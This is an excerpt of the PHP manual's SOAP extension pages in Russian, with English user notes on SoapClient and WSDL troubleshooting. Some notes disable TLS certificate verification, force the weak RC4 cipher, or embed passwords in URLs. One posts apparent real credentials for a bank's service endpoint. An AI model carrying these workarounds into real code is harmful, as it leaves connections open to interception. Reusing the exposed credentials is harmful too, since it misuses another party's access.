XSD_ANYTYPE (int) | 145 |
XSD_ANYXML (int) | 147 |
APACHE_MAP (int) | 200 |
SOAP_ENC_OBJECT (int) | 301 |
SOAP_ENC_ARRAY (int) | 300 |
XSD_1999_TIMEINSTANT (int) | 401 |
XSD_NAMESPACE (string) | http://www.w3.org/2001/XMLSchema |
XSD_1999_NAMESPACE (string) | http://www.w3.org/1999/XMLSchema |
SOAP_SINGLE_ELEMENT_ARRAYS (int) | 1 | Используется с параметром features метода SoapClient::__construct().
SOAP_WAIT_ONE_WAY_CALLS (int) | 2 | Используется с параметром features метода SoapClient::__construct().
SOAP_USE_XSI_ARRAY_TYPE (int) | 4 | Используется с параметром features метода SoapClient::__construct().
WSDL_CACHE_NONE (int) | 0 | Отключает кеш WSDL при использовании с параметром soap.wsdl_cache или параметром wsdl_cache методов SoapClient::__construct() и SoapServer::__construct().
WSDL_CACHE_DISK (int) | 1 | Определяет использование кеша WSDL на диске только при использовании с параметром soap.wsdl_cache или параметром wsdl_cache методов SoapClient::__construct() и SoapServer::__construct().
WSDL_CACHE_MEMORY (int) | 2 | Определяет использование кеша WSDL в памяти только при использовании с параметром soap.wsdl_cache или параметром wsdl_cache методов SoapClient::__construct() и SoapServer::__construct().
WSDL_CACHE_BOTH (int) | 3 | Определяет использование кеша WSDL как на диске, так и в памяти только при использовании с параметром soap.wsdl_cache или параметром wsdl_cache методов SoapClient::__construct() и SoapServer::__construct().

User Contributed Notes

User 01-Oct-2010 08:56
We are casting the values (float) to simulate the 64-bits long. seem to work fine, of course, the values we are using have no decimal point.


Функции SOAP

Содержание

  • is_soap_fault — Проверяет, произошла ли ошибка при вызове SOAP
  • use_soap_error_handler — Установить, следует ли использовать обработчик ошибок SOAP

User Contributed Notes

vIceBerg 23-Sep-2008 07:18
I have PHP 5.2.5 on my computer. I get this result:

Array
(
    [0] => stdClass Object
        (
            [Client] => stdClass Object
                (
                    [Nom] => LeNom:00000
                    [Prenom] => LePrenom:00000
                )

        )

My host have 5.1.6, the same call returns this result:
Array
(
    [0] => stdClass Object
        (
            [Client] => Array
                (
                    [0] => stdClass Object
                        (
                            [Nom] => LeNom:00000
                            [Prenom] => LePrenom:00000

                        )

5.2.5 is the good structure.

Take care of the version you're using. It can be a lot of work to change all the code
nodkz at mail dot ru 24-May-2008 02:28
PROBLEM (with SOAP extension under PHP5) of transferring object, that contains objects or array of objects. Nested object would not transfer.

SOLUTION:
This class was developed by trial and error by me. So this 23 lines of code for most developers writing under PHP5 solves fate of using SOAP extension.

<?php
/*
According to specific of organization process of SOAP class in PHP5, we must wrap up complex objects in SoapVar class. Otherwise objects would not be encoded properly and could not be loaded on remote SOAP handler.

Function "getAsSoap" call for encoding object for transmission. After encoding it can be properly transmitted.
*/
abstract class SOAPable {
    public function getAsSOAP() {
        foreach($this as $key=>&$value) {
            $this->prepareSOAPrecursive($this->$key);
        }
        return $this;
    }

    private function prepareSOAPrecursive(&$element) {
        if(is_array($element)) {
            foreach($element as $key=>&$val) {
                $this->prepareSOAPrecursive($val);
            }
            $element=new SoapVar($element,SOAP_ENC_ARRAY);
        }elseif(is_object($element)) {
            if($element instanceof SOAPable) {
                $element->getAsSOAP();
            }
            $element=new SoapVar($element,SOAP_ENC_OBJECT);
        }
    }
}

// ------------------------------------------
//  ABSTRACT EXAMPLE
// ------------------------------------------

class PersonList extends SOAPable {
  protected $ArrayOfPerson; // variable MUST be protected or public!
}

class Person extends SOAPable {
   //any data
}

$client=new SoapClient("test.wsdl", array( 'soap_version'=>SOAP_1_2, 'trace'=>1, 'classmap' => array('Person' => "Person", 'PersonList' => "PersonList")  ));

$PersonList=new PersonList;

// some actions

$PersonList->getAsSOAP();

$client->someMethod($PersonList);

?>

So every class, which will transfer via SOAP, must be extends from class SOAPable.
As you can see, in code above, function prepareSOAPrecursive search another nested objects in parent object or in arrays, and if does it, tries call function getAsSOAP() for preparation of nested objects, after that simply wrap up via SoapVar class.

So in code before transmitting simply call $obj->getAsSOAP()
rlee at melbournechapter dot net 01-May-2008 05:38
Just a note on "DTD not recognised..." faults. Check to make sure your wsdl file contains:

<?xml version ='1.0' encoding ='UTF-8' ?>

Also make sure you use full paths, to your service (in the wsdl, client and server)
...
<wsdlsoap:address location='http://www.mysite.com.au/web_services/myserver.php' />
...
<?php
// SOAP Server
$server = new SoapServer('http://www.mysite.com.au/web_services/hello.wsdl');
...
...
?>

<?php
// SOAP Client
 $client = new SoapClient('http://www.mysite.com.au/web_services/hello.wsdl');
...
...
?>

FYI im no SOAP expert but I hope this helps someone out ;)
Drydenmaker 13-Jan-2008 07:59
Working with a third party service I got: "SOAP-ERROR: Parsing Schema: unexpected <text> in restriction"

Thought it would be worth it to share.  What it is saying is that there is some text in an invalid place.  C# seems to ignore it, and if you are using nusoap it doesn't notice it either.  But what was causing my problem was something like:
<types>
    <schema ...

            <simpleType name="some type">
                <restriction base="xsd:string">
                    <enumeration value="foo"/>;
                </restriction>
            </simpleType>

Note the semicolon (;).  Filter that out and your good.
Dominik 07-Dec-2007 01:31
If you are working
- on localhost
- in WSDL mode
and encounter the following error when you try to connect the soap client with the soap server

Fatal error: Uncaught SoapFault exception: [HTTP] Could not connect to host...

then change "localhost" to "127.0.0.1" in your WSDL file:
<soap:address location='http://127.0.0.1/soap-server.php'/>
AL13N 28-Nov-2007 04:05
this might be helpful, as it took quite some time for me to find this out:

if you're using some .wsdl and there's a sequence that can be there more than once (ie: maxOccurs > 1), you can specify an non-associative array for it if you have more than 1 items OR you could just specify the one item if there is only one:

<?php
'items' => array(
    array(
        'itemId' => 5,
        'name' => 'some name',
    ),
    array(
        'itemId' => 6,
        'name' => 'some other name',
    ),
),
?>

this also works:

<?php
'items' => array(
    'itemId' => 5,
    'name' => 'some name',
),
?>
Anonymous 26-Nov-2007 11:54
when dealing with wsdl and flash soap with php
(not exactly php, but proper wsdl - took me hours to figure it to work properly in flash webservice)

when naming definitions,
don't use "tns:" but use "typens:"

makesure your "definitions/targetNamespace"
is same as your "soap:body" namespace
example: "urn:mynamespace"

makesure your "binding/type" is declared with "typens"

makesure your service/port/binding is set to 'typens:...'

if you did not do it properly, you will end up with
WSDL.UnrecognizedNamespace - in flash
but seems okay in php soapclient...

happy coding :)
hope this help you to save your time on the wsdl :)
james at mercstudio dot com 24-Nov-2007 01:45
If you use wsdl,

makesure you define the input correctly.
if your method does not contain any input parameter,
you got to makesure that you:

 - do not create the message tag for the input..
 - do not put input within porttype / operation
 - do not put input within binding / operation

if not, you will get the error:
[Client] looks like we got no XML

d***, took me several hours figuring that out...
dirk at waferthin dot com 20-Jun-2007 04:31
I hope this will save someone time. When developing and testing your SOAP server, remember to disable WSDL caching in BOTH client and server:

$ini = ini_set("soap.wsdl_cache_enabled", 0);
jochen dot munz at municons dot com 11-Jun-2007 08:56
When encountering an error message like this

[faultstring] => Function ("yourMethod") is not a valid method for this service

although it is present in the WSDL etc., be aware that PHP caches the wsdl locally for better performance. You can disable the caching via php.ini/.htaccess completely or remove the cache file (/tmp/wsdl-.. if you are on Linux) to force regeneration of it.
albert at jool dot nl 27-Mar-2007 02:59
A note for ppl who use certificates with SOAP under a Windows config: it seems to be required to give the full path to the certificate file - and don't prepend 'file://' :

<?php

$wsdl = "test.wsdl";
$local_cert = "c:\htdocs\mycert.pem";
$passphrase = "xyz";

$client = new SoapClient($wsdl, array('local_cert' => $local_cert, 'passphrase' => $passphrase);

?>
kroesjnov at hotmail dot com 09-Feb-2007 07:38
If you dont want to manually maintain the classmap, make sure you use the same names for your PHP object classes and your WSDL complexTypes, and use the following code:

$classmap = array();
$tmpClient = new SoapClient("soapserver.wsdl");

foreach($tmpClient->__getTypes() as $type)
{
    $array = split(" ", $type);
    if($array[0] == "struct" && class_exists($array[1]))
    {
        $classmap[$array[1]] = $array[1];
    }
}
unset($tmpClient);

$server = new SoapServer("soapserver.wsdl", array("classmap" => $classmap));
unset($classmap);
$server->setClass("someclass");
$server->handle();
brephophagist 18-Jan-2007 09:45
For those working from a wsdl full of complex types that just want a class structure to hang your code on and not worry about typing in long parameter lists (or creating a script to do so): wsdl2php is a wonderful time-saver. Gets a structure going so you can go in and add what validation and special data munging you need: http://www.urdalen.no/wsdl2php/

Big up yourself, Knut.
Olaf Krische 21-Nov-2006 01:48
If you use SSL with a cert and password authentication:

$wsdl = "https://ws.ecopatz.de/ProductInfo?wsdl";
$pass = 'a password';
$certFile = "./mycert.pem";

  $client = new SoapClient($wsdl,
    array(
     'local_cert' => $certFile,
     'passphrase' => $pass
    )
  );

If you have problems with the certfile like this:

  Warning: SoapClient::__construct(): Unable to set local cert chain file `./mycert.pem'; Check that your cafile/capath settings include details of your certificate and its issuer in productinfo.php on line 27

then the certFile is probably in the "wrong format" (the wrong format for php maybe). It worked for me, when i appended the content of the private key file and the certificate file to a single file "mycert.pem":

  cat mycert.key >mycert.pem # mycert.key was the private key
  cat mycert.crt >>mycert.pem # mycert.crt was the signed certificate

Thanks to an author somewhere, who pointed to "curl --cert", where this little "so unimportant" dependency has been mentioned.
nico 25-Aug-2006 06:20
If you want to build a Soap Server for Microsoft Office's client (like Microsoft Office Research Service) you need to rewrite SOAP's namespaces :

<?php
// (...)

$server = new SoapServer($wsdl, array('uri' => $uri, 'classmap' => $classmap));
$server->setClass($class);
function callback($buffer)
{
    $s = array('<ns1:RegistrationResponse>', 'ns1:', 'xmlns:ns1="urn:Microsoft.Search"');
    $r = array('<RegistrationResponse xmlns="urn:Microsoft.Search">', '', '');
   return (str_replace($s, $r, $buffer));
}
ob_start('callback');
$server->handle();
ob_end_flush();

// (...)
?>

There are a complete example at this URL : http://touv.ouvaton.org/article.php3?id_article=104
mini at freebsd dot org 08-Jul-2006 04:54
wokan at cox dot net is incorrect about the security of URI-passed values to HTTPS URIs.  HTTPS connections are HTTP inside SSL -- all of the HTTP traffic, including the request, are encrypted.
adm 01-Mar-2006 11:27
Wondering why the function you just added to your WSDL file is not available to your SOAP client? Turn off WSDL caching, which (as the documentation says) is on by default.

At the top of your script, use:

$ini = ini_set("soap.wsdl_cache_enabled","0");
ckl at ecw dot de 16-Jan-2006 11:54
To debug a SOAP service using SoapServer(), a WSDL file and Zend Studio Client/Server, you have to append ?start_debug=1&amp;debug_port=10000 to the service location:
--- snip ---
... method / service definition ....

<service name="SOAPService">
  <port
    name="SOAPServicePort"
    binding="typens:SOAPServiceBinding">
   <soap:address
   location="$URL?start_debug=1&amp;debug_port=10000"/>
  </port>
</service>
--- snap ---
Rui Martins 18-Dec-2005 08:33
Here's an example on how to pass ArrayOfAnyType arguments
containing complex types.

Suppose your WSDL file defines "http://any.url.com/" as the default namespace and a complex type "SomeComplexType".

If you want to call a WebServices which takes an ArrayOfAnyType argument of "SomeComplexType"s you need to perform the following:

<?php
// complexTypes being an array containing several instances of SomeComplexType

myWSParameter = array();
foreach (complexTypes as ct)
{
   // Don't misspell the type or the namespace. Also note that php won't assume the default namespace defined in the WSDL file.
   myWSParameter []= new SoapVar(ct, 0, "SomeComplexType", "http://any.url.com/");
}
?>

On the other hand, when a WebService returns an ArrayOfAnyType you have to do the following to access each of its elements.

<?php
// Here, we will be echoing each return item
$res = $someWS->myFunction($myArgs)

// If only one element is returned, an array won't be built
if (is_array(myFunctionResult->anyType))
{
   foreach (myFunctionResult->anyType as $soapVar)
   {
      echo $soapVar->enc_value;
   }
}
else
{
   echo myFunctionResult->anyType->enc_value;
}
?>

This has all been tested using a .NET WebService.
ChrisB 23-Oct-2005 11:03
Heads up for anyone using PHP Soap + Sessions + PEAR DB classes.

Every time you make a call, via the soap client to your web service, your PEAR DB session is put to sleep and it doesnt by default wake upon the next request.

To fix this I simply called my particular database close call ifx_close() below my $soap->handle();
Bob 11-Oct-2005 01:17
If you are scratching your head why NuSOAP not working on PHP 5.x , the reason is this built-in SOAP Extenstion uses same soapclient() class name as Nusoap.

replace 'soapclient' with 'soapclient_xxx'  in nusoap.php and you are good to go...
johnjawed at gmail dot com 22-Sep-2005 09:29
For those wondering on how to set attributes on nodes with PHP5 SOAP, it would be done as such:

<... soap env/header>
<foo bar="blah">12345</foo>

array("foo" => array("_" => 12345, "bar" => "blah"));
Darryl 20-Jul-2005 11:46
Having trouble passing complex types over SOAP using a PHP SoapServer in WSDL mode?  Not getting decoded properly?  This may be the solution you're looking for!

When using ComplexType in the schema portion of the WSDL file, You need use an additional step to tell PHP SOAP how to encode the objects.  The first method would be to explicitely encapsulate the object in a SoapVar object - telling PHP to use generalized SOAP encoding rules (which encodes all ComplexTypes as Structs).  This won't work, though, if the client is expecting the objects to be encoded according to the WSDL's schema.  So, The actual way to do this is:

* First, define a specific PHP class which is actually just a data structure holding the various properties, and the appropriate  ComplexType in the WSDL.

<?php
 class MyComplexDataType {
     public $myProperty1;
     public $myProperty2;
 }
?>
 <complexType name="MyWSDLStructure">
 <sequence>
    <element name="MyProperty1" type="xsd:integer"/>
    <element name="MyProperty2" type="xsd:string"/>
 </sequence>
 </complexType>

* Next, Tell the SoapServer when you initialize it to map these two structures together.

<?php
 $classmap = array('MyWSDLStructure' => 'MyComplexDataType');
 $server = new SoapServer("http://MyServer/MyService.wsdl", array('classmap' => $classmap))
?>

* Finally, have your method return an instance of your class directly, and let the SoapServer take care of encoding!

<?php
 public function MySoapCall() {
     $o = new MyComplexDataType();

     $o->myProperty1 = 1;
     $o->myProperty2 = "MyString";

     return $o
 }
?>
Jim Plush 12-Jul-2005 04:45
If you're trying to use the SOAP Extension over SSL with a custom PEM file you need to do this:

$client->_local_cert = "C:\\path\myCert.pem";
flobee at gmail dot com 11-May-2005 01:25
wow, actually a cool program and soap is new for me.
I found out some interessting things i can not debug because the scripts exit without any error messages or notes. :-(

you may have problems with the memory and/or especially on "shared servers" when server load is high.
sometimes the script does the job, sometimes it just stopping at any unknown point.
these are the steps my script does:
* get data from remote server ( ~ 4.5 MB)
* parsing requested object and store the data in a database.

the return with debug messages was intressting:
-> check Mem limit: 30M
-> $client = new new SoapClient($url_wsdl, $options);
-> Memory usage: 185888
-> $client->[requested_method_to_get_data]();
-> check: __getLastResponseHeaders() - after:
-> HTTP/1.1 200 OK // remote server is fine with me :-)
-> Content-Length: 4586742  // I got the data
-> check: Memory usage now: 23098872 // ups !!! this can't be true!!

so, and if now someone on the server takes the rest of RAM  the walk thought the data breaks :-(

so, i need to store the xml tree ($client->client->__last_response) and parsing it by the classical way. (if you would request more RAM, you may get in trouble with the admin if you run a script like this more often! (on shared servers)
OrionI 18-Apr-2005 08:12
If you're having problems calling a .NET web service, see the comments over on http://php.net/soap_soapclient_soapcall (the __soapCall method).
kucerar at hhmi dot org 25-Mar-2005 12:04
Here are 73 test cases that detail the kinds of schemas that PHP5 currently supports and the structures you are expected to plug into them for the return value from your services.   Much better than trying to guess!

http://cvs.php.net/co.php/pecl/soap/tests/schema

You can cycle through the listings by changing the main index in the URL below,  rather than go in and out of the pages

http://cvs.php.net/co.php/pecl/soap/tests/schema/schema052.phpt?r=1.2

I downloaded the whole thing with this,  CVS might work too.
http://www.httrack.com/

With them all downloaded I just browse them with Textpad.
Norman Clarke <norman at dontblink dot com> 21-Feb-2005 04:29
Note that if you should need to set the timeout for your soap request,  you can use ini_set to change the value for the default_socket_timeout. I previously used NuSOAP, whose soap client class has a timeout option, and it took me a while to figure out that PHP's soap uses the same socket options as everything else.
wokan at cox dot net 05-Feb-2005 05:06
It's not good security practice to pass the username and password in the URI when the point of SSL is to prevent that information from being intercepted.  Putting that information in the URI makes it interceptable.  HTTPS-Posted values are safe because values passed in the headers are sent after the SSL handshake has been completed.
mikx at mikx dot de 29-Mar-2004 08:12
It took me a while to properly establish a password protected client connection via https on windows/apache1.3. Here my little guide:

1. The SOAP extension isn't activated by default (PHP5 RC1). Just add "extension=php_soap.dll" to the php.ini and don't forget to set the extension_dir properly (in most cases "c:\php\ext").

2. Add "extension=php_openssl.dll" to the php.ini. This module depends on libeay32.dll and ssleay32.dll - copy them from your php folder to your system32 folder.

3. Restart apache

4. The sourcecode

$client = new SoapClient("https://yourLogin:yourPassword@foo.com/bar.wsdl", array(
    "login"      => "yourLogin",
    "password"   => "yourPassword",
    "trace"      => 1,
    "exceptions" => 0));

$client->yourFunction();

print "<pre>\n";
print "Request: \n".htmlspecialchars($client->__getLastRequest()) ."\n";
print "Response: \n".htmlspecialchars($client->__getLastResponse())."\n";
print "</pre>";

Currently it seems to be necessary to add your login and password both in the uri and in the options array. Not sure if this is the expected behavior.


Проверяет, произошла ли ошибка при вызове SOAP

  • « Функции SOAP
  • use_soap_error_handler »
  • PHP Manual
  • Функции SOAP
  • Проверяет, произошла ли ошибка при вызове SOAP

is_soap_fault

(PHP 5, PHP 7, PHP 8)

is_soap_fault — Проверяет, произошла ли ошибка при вызове SOAP

Описание

is_soap_fault(mixed $object): bool

Эта функция полезна для проверки неудачи вызова SOAP, но тогда, когда не используются исключения. Для того, чтобы её использовать, создайте объект SoapClient с опцией exceptions, равной нулю или false. В этом случае метод SOAP вернёт специальный объект SoapFault, который инкапсулирует детали ошибки (код ошибки, строка ошибки, получатель и детали).

Если опция exceptions не установлена, то вызов SOAP будет выбрасывать исключение в случае возникновения ошибки. Функция is_soap_fault() проверяет, является ли переданный параметр объектом SoapFault.

Список параметров

object

Объект для проверки.

Возвращаемые значения

Возвращается true в случае возникновения ошибки и false в противном случае.

Примеры

Пример #1 Пример использования функции is_soap_fault()

<?php
$client = new SoapClient("some.wsdl", array('exceptions' => 0));
$result = $client->SomeFunction();
if (is_soap_fault($result)) {
trigger_error("Ошибка SOAP: (faultcode: {$result->faultcode}, faultstring: {$result->faultstring})", E_USER_ERROR);
}
?>

Пример #2 Стандартный метод SOAP для сообщений об ошибках - это исключения

<?php
try {
$client = new SoapClient("some.wsdl");
$result = $client->SomeFunction(/* ... */);
} catch (SoapFault $fault) {
trigger_error("Ошибка SOAP: (faultcode: {$fault->faultcode}, faultstring: {$fault->faultstring})", E_USER_ERROR);
}
?>

Смотрите также

  • SoapClient::__construct() - Конструктор класса SoapClient
  • SoapFault::__construct() - Конструктор SoapFault

User Contributed Notes

There are no user contributed notes for this page.


Установить, следует ли использовать обработчик ошибок SOAP

  • « is_soap_fault
  • SoapClient »
  • PHP Manual
  • Функции SOAP
  • Установить, следует ли использовать обработчик ошибок SOAP

use_soap_error_handler

(PHP 5, PHP 7, PHP 8)

use_soap_error_handler — Установить, следует ли использовать обработчик ошибок SOAP

Описание

use_soap_error_handler(bool $enable = true): bool

Эта функция определяет, нужно ли использовать обработчики ошибок SOAP в SOAP-сервере. Функция возвращает предыдущее значение. Если установлено в true, то подробности ошибок в приложении с классом SoapServer будут отправлены клиенту в качестве сообщения об ошибке SOAP. Если установлено в false, то используется стандартный обработчик ошибок PHP. По умолчанию используется отправка сообщения об ошибке SOAP клиенту.

Список параметров

enable

Для отправки данных об ошибках клиентам необходимо установить в true.

Возвращаемые значения

Возвращает предыдущее значение.

Смотрите также

  • set_error_handler() - Задаёт пользовательский обработчик ошибок
  • set_exception_handler() - Задаёт пользовательский обработчик исключений

User Contributed Notes

There are no user contributed notes for this page.


Класс SoapClient

(PHP 5, PHP 7, PHP 8)

Введение

Класс SoapClient представляет собой клиента для серверов » SOAP 1.1, » SOAP 1.2. Он может использоваться в режиме с WSDL или без него.

Обзор классов

class SoapClient {
/* Свойства */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* Методы */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}

Свойства

__default_headers

__last_request

__last_request_headers

__last_response

__last_response_headers

__soap_fault

_classmap

_connection_timeout

_cookies

_digest

_encoding

_exceptions

_features

_keep_alive

_login

_password

_proxy_host

_proxy_login

_proxy_password

_proxy_port

_soap_version

_ssl_method

_stream_context

_use_digest

_use_proxy

_user_agent

compression

httpsocket

httpurl

location

sdl

style

trace

typemap

uri

use

Содержание

  • SoapClient::__call — Вызывает SOAP-функцию (устаревший метод)
  • SoapClient::__construct — Конструктор класса SoapClient
  • SoapClient::__doRequest — Выполняет SOAP-запрос
  • SoapClient::__getCookies — Получить список cookies
  • SoapClient::__getFunctions — Возвращает список доступных SOAP-функций
  • SoapClient::__getLastRequest — Возвращает последний SOAP-запрос
  • SoapClient::__getLastRequestHeaders — Возвращает SOAP-заголовки последнего запроса
  • SoapClient::__getLastResponse — Возвращает последний SOAP-ответ
  • SoapClient::__getLastResponseHeaders — Возвращает SOAP-заголовки последнего ответа
  • SoapClient::__getTypes — Возвращает список SOAP-типов
  • SoapClient::__setCookie — Устанавливает cookie для запросов SOAP
  • SoapClient::__setLocation — Устанавливает адрес используемой веб-службы
  • SoapClient::__setSoapHeaders — Устанавливает SOAP-заголовки для последующих вызовов
  • SoapClient::__soapCall — Вызывает SOAP-функцию

User Contributed Notes

spam at kacke dot de 09-Sep-2022 08:46
In case a soap response returns nodes with the attribute xsi:nil="false", they are currently not processed by php-soapclient.

This seems to be a bug (not correct).

Workaround:

class mySoapClient extends SoapClient {
        public function __doRequest($request, $location, $action, $version, $one_way = 0) {
        $response = parent::__doRequest($request, $location, $action, $version, $one_way);
        $response = str_replace('xsi:nil="false"',"",$response);
        return $response;
    }
}

Took me a day. Hope it can help
Toppi
David 15-Feb-2017 12:57
Under IIS and PHP 7, when creating an new SoapClient, it will through an internal 500 error.

This could be caused by invalid permissions to the wsdl cache directory when using 'cache_wsdl'=>WSDL_CACHE_DISK or WSDL_CACHE_BOTH.

This worked for me:
    try {
        $arrContextOptions=array("ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false,'crypto_method' => STREAM_CRYPTO_METHOD_TLS_CLIENT));

        $options = array(
                'soap_version'=>SOAP_1_2,
                'exceptions'=>true,
                'trace'=>1,
                'cache_wsdl'=>WSDL_CACHE_NONE,
                'stream_context' => stream_context_create($arrContextOptions)
        );
        $client = new SoapClient('https://url/dir/file.wsdl', $options);

    } catch (Exception $e) {
        echo "<h2>Exception Error!</h2>";
        echo $e->getMessage();
    }
sheikh303 at gmail dot com 13-Jan-2017 07:51
What is the core method to call remote WSDL file while creating SoapClient object?
is it CURL, wget or anyother?
Ricardo Pedrassani 03-Jun-2016 01:53
If the XML have identities with same name in different levels there is a solution. You don?t have to ever submit a raw XML (this PHP SOAP object don?t allows send a RAW XML), so you have to always translate your XML to a array, like the example below:

$originalXML = "
<xml>
  <firstClient>
      <name>someone</name>
      <adress>R. 1001</adress>
  </firstClient>
  <secondClient>
      <name>another one</name>
      <adress></adress>
  </secondClient>
</xml>"

//Translate the XML above in a array, like PHP SOAP function requires
$myParams = array('firstClient' => array('name' => 'someone',
                                  'adress' => 'R. 1001'),
            'secondClient' => array('name' => 'another one',
                                  'adress' => ''));

$webService = new SoapClient($someURL);
$result = $webService->someWebServiceFunction($myParams);
mcinantyspam at fejm dot pl 13-May-2016 11:32
Please note, that if you provide values that contain illegal xml characters (ASCII codes 0-8,  11-12, 14-15 - or x0-x8, xB-xC, xE-xF in hex), php's SoapClient will do send them in request, although such request is improper because it does not meet XML 1.0 requirements.
You always have to replace or remove these characters in your data before supplying them to SoapClient
info at nospam x valiton x com 13-Apr-2015 08:06
CAUTION:
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>

src:
http://php.net/manual/en/context.http.php#114314
acopantepuy at gmail dot com 11-Apr-2015 02:45
when they want to pass variables into the http header that is how it is done:

<?php

$aHTTP['http']['header'] =  "User-Agent: PHP-SOAP/5.5.11\r\n";

$aHTTP['http']['header'].= "username: XXXXXXXXXXX\r\n"."password: XXXXX\r\n";

$context = stream_context_create($aHTTP);

$client=new SoapClient("https://ocppws-cert.extra.bcv.org.ve:443/AltoValor/BancoUniversal?WSDL",array('trace' => 1,"stream_context" => $context));

$result = $client->jornadaActiva();
var_dump($result);
?>
acopantepuy at gmail dot com 11-Apr-2015 02:42
when they want to pass variables into the http header that is how it is done:

<?php

$aHTTP['http']['header'] =  "User-Agent: PHP-SOAP/5.5.11\r\n";

$aHTTP['http']['header'].= "username: C1040001760102\r\n"."password: bcv2020\r\n";

$context = stream_context_create($aHTTP);

$client=new SoapClient("https://ocppws-cert.extra.bcv.org.ve:443/AltoValor/BancoUniversal?WSDL",array('trace' => 1,"stream_context" => $context));

$result = $client->jornadaActiva();
var_dump($result);
?>
romuloum at hotmail dot com 19-Feb-2015 04:22
After migrating to PHP 5.6.5, the soap 1.2 did not work anymore. So I solved the problem by adding optional parameters SSL.
My error: failed to load external entity
How to solve:
        // options for ssl in php 5.6.5
        $opts = array(
            'ssl' => array('ciphers'=>'RC4-SHA', 'verify_peer'=>false, 'verify_peer_name'=>false)
        );
        // SOAP 1.2 client
        $params = array ('encoding' => 'UTF-8', 'verifypeer' => false, 'verifyhost' => false, 'soap_version' => SOAP_1_2, 'trace' => 1, 'exceptions' => 1, "connection_timeout" => 180, 'stream_context' => stream_context_create($opts) );
        $oSoapClient = new SoapClient ( $url . "?WSDL", $params );
softontherocks at gmail dot com 22-Nov-2014 08:32
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the cliente who calls the web service.

I hope it would be useful for you.
martin dot schenck at plugsurfing dot com 15-Sep-2014 03:34
If you want to connect to a server that only supports SSLv2/3 and/or TLS 1.0 (no TLS 2 or 3), tell the SOAP client if you get a connection error by setting the appropriate stream context:
<?php
  $opts = array(
    'ssl' => array('ciphers'=>'RC4-SHA')
  );

  $objSoapClient = new SoapClient(
    'https://example.com/?wsdl',
    array ( "encoding"=>"ISO-8859-1",
    'stream_context' => stream_context_create($opts)
    // your options
    );
?>

You might need to disable the SOAP caching of WSDLs in order for the SOAP client to use the new context.
Stefan 03-Jun-2014 11:04
There is a known bug with some versions of Xdebug which can cause SoapClient to not throw an exception but instead cause a fatal error.

Surround the SoapClient call with xdebug_disable(); and xdebug_enable();  to work around this problem.

For reference:

http://bugs.xdebug.org/view.php?id=249
https://bugs.php.net/bug.php?id=47584
Anonymous 12-Sep-2013 09:25
I got the following error when trying to load the WSDL file:

Fatal error: Uncaught SoapFault exception: [WSDL] SOAP-ERROR: Parsing WSDL: <message> 'MessageName' already defined

In my case there was no double definitions but it was including other files - I think one of them contained a duplicate message with a different namespace (which SoapClient doesn't like).

I resolved it by loading the WSDL in SoapUI, right-clicking and selecting "Export definition". The WSDL that then got created worked fine. Hope this helps somebody.
Guillermo Prandi 20-Feb-2012 02:10
To make an HTTPS call with a client certificate, you can do it this way:

1) Create a file containing both the key and the signed certificate. I did this by concatenating my (.pem) key and the certificate I've got signed from my CA (also .pem format). The file looked like this:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKagQC1N27Ilb9pWil2NaX2qM8FquXBXK5T1AydOv7sCotsc8MAwbi7
......(snip)......
wAiOCD4K9TyMS76pIS8UyfJl/oIrn7EF24BUpaUfsh8=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC/zCCAmigAwIBAgIEAIl1JzANBgkqhkiG9w0BAQQuADBQMQswCQYxVQQGEaJV
......(snip)......
eSPds1hLKYSg0bd3uI7LhaDLOC1PPgb77sYe/uYkUWuHBzllts5x/pfue0zaIBKG
Omjy
-----END CERTIFICATE-----

2) Reference your certificate in the creation of the SOAP client, like this:

$protected_url = "https://my-server/?wsdl";
$my_cert_file = "/my/path/to/mycert.pem";

$client = new SoapClient($protected_url, array('local_cert', $my_cert_file) );
egiardina at badatmath dot com 03-Aug-2011 06:05
This one drove me nuts... if you are connecting to a web service run on Cassini, (Visual Studio's web server) from php, you may not be able to call web service functions or load a WSDL out-of-the-box.

My set up is that I am using xampp on my windows development machine, and also using Visual Studio's built in web-server. I built a web service in visual studio. I wrote a simple PHP script, running under xampp, to access this service, so the two projects can 'talk' to each other. What I found was the WSDL was never loaded.

